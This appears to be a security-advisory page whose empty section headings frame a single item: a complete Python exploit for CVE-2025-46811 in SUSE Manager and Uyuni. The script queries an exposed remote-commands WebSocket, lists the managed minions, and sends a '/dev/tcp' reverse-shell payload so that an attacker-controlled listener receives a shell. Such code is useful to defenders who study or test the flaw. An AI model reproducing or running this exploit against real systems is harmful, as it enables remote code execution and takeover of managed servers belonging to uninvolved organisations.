Technical Summary

Potential Impact

Mitigation Recommendations

Indicators of Compromise

• exploit-code: # Exploit Title: SUSE Manager 4.3.15 - Code Execution # Date: 29.01.2026 # Exploit Author: Wiktor Maj # Vendor Homepage: https://www.uyuni-project.org/ # Software Link: https://github.com/uyuni-project/uyuni # Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15 # Tested on: Debian 12 (bookworm), Python 3.11.2 with websocket-client 1.9.0 # CVE: CVE-2025-46811 # Sends a reverse shell payload to the vulnerable WebSocket of either SUSE Manager or Uyuni. # Set up a listener session in a separate terminal. # After the payload is sent, switch to your listener terminal to check if a shell pops up. # Example: # python3 cve-2025-46811.py --ip 192.168.10.126 --port 443 --host-ip 192.168.10.113 --host-port 9001 --ssl #### PROGRAM CONSTRAINTS #### PAYLOAD = f"sh -i >& /dev/tcp/HOST_IP/HOST_PORT 0>&1" # reverse shell payload, HOST_IP and HOST_PORT will be substituted with CLI args CONNECTION_RETRIES = 4 # number of connection attempts CONNECTION_DELAY_BETWEEN_RETRIES = 15 # seconds WEBSOCKET_TIMEOUT = 10 # seconds ############################## import argparse import json import socket import ssl import sys import time import websocket def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser(description="Implementation of CVE-2025-46811 exploit for SUSE Manager & Uyuni.", add_help=False) parser.add_argument("-h", "--help", action="help", default=argparse.SUPPRESS, help="Display this help text and exit.") parser.add_argument("--ip", required=True, help="Victim IPv4 or hostname.") parser.add_argument("--port", type=int, default=443, help="Victim port (default: 443).") parser.add_argument("--host-ip", required=True, help="Attacker host IPv4 or hostname.") parser.add_argument("--host-port", type=int, required=True, help="Attacker host port.") group = parser.add_mutually_exclusive_group() group.add_argument("--ssl", dest="ssl", action="store_true", help="Use SSL/TLS for the WebSocket connection (default).") group.add_argument("--no-ssl", dest="ssl", action="store_false", help="Disable SSL/TLS and use plaintext WebSocket.") parser.set_defaults(ssl=True) return parser.parse_args() def resolve_target(hostname: str) -> str: return socket.gethostbyname(hostname) def receive_preview_minions_message(websocket_connection: websocket.WebSocket) -> str: while True: try: message = websocket_connection.recv() if message: print("Received:", message) if isinstance(message, bytes): message = message.decode("utf-8", errors="replace") return message except websocket.WebSocketTimeoutException as exception: raise RuntimeError("Failed to receive preview minions message") from exception def decode_preview_minions_message(message: str) -> list[str]: try: preview_output = json.loads(message) except json.JSONDecodeError as exception: raise RuntimeError("Preview response is not valid JSON") from exception if ( isinstance(preview_output, dict) and isinstance(preview_output.get("minions"), list) and preview_output["minions"] and all(isinstance(entity, str) for entity in preview_output["minions"]) ): return preview_output["minions"] raise RuntimeError("Preview response expected non-empty 'minions' list") def receive_preview_minions(websocket_connection: websocket.WebSocket) -> list[str]: message = receive_preview_minions_message(websocket_connection) minions = decode_preview_minions_message(message) return minions def select_minion(minions: list[str]) -> str: print("Available minions:") for minion_id, minion_name in enumerate(minions, start=1): print(f"{minion_id}) {minion_name}") prompt = "Select minion number (default is '1', or 'c' to cancel): " while True: choice = input(prompt).strip() if choice == "": return minions[0] if choice.lower() == "c": print("No minion selected. Exiting.") sys.exit(0) if choice.isdigit(): index = int(choice) if 1 <= index <= len(minions): return minions[index - 1] print("Invalid selection.") def connect_to_websocket(target_ip: str, port: int, use_ssl: bool, sslopt: dict, ) -> websocket.WebSocket: scheme = "wss" if use_ssl else "ws" try: return websocket.create_connection( f"{scheme}://{target_ip}:{port}/rhn/websocket/minion/remote-commands", timeout=WEBSOCKET_TIMEOUT, sslopt=sslopt, ) except ssl.SSLError as exception: if "WRONG_VERSION_NUMBER" in str(exception): raise RuntimeError("Websocket seems to be unsecured, try with --no-ssl") from exception raise except websocket.WebSocketBadStatusException as exception: if exception.status_code == 400: raise RuntimeError("Websocket seems to be secured, try with --ssl") from exception raise except TimeoutError as exception: raise RuntimeError("Websocket is likely under firewall") from exception def get_minions(target_ip: str, port: int, use_ssl: bool, ) -> tuple[websocket.WebSocket, list[str]]: sslopt = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False} for attempt in range(1, CONNECTION_RETRIES + 1): websocket_connection = None try: websocket_connection = connect_to_websocket(target_ip, port, use_ssl, sslopt) websocket_connection.send(json.dumps({"preview": True, "target": "*"})) minions = receive_preview_minions(websocket_connection) return websocket_connection, minions except ( websocket.WebSocketTimeoutException, websocket.WebSocketConnectionClosedException, ): if websocket_connection is not None: websocket_connection.close() if attempt == CONNECTION_RETRIES: break time.sleep(CONNECTION_DELAY_BETWEEN_RETRIES) raise RuntimeError("Target websocket is not vulnerable or not reachable") def send_payload(websocket_connection: websocket.WebSocket, target: str) -> None: payload = PAYLOAD.replace("HOST_IP", args.host_ip).replace("HOST_PORT", str(args.host_port)) websocket_connection.send(json.dumps({"preview": False, "target": target, "command": payload})) if __name__ == "__main__": args = parse_args() websocket_connection = None try: websocket_connection, minions = get_minions( target_ip=resolve_target(args.ip), port=args.port, use_ssl=args.ssl, ) selected_minion = select_minion(minions) send_payload(websocket_connection, selected_minion) print("Payload sent, closing.") finally: if websocket_connection is not None: websocket_connection.close()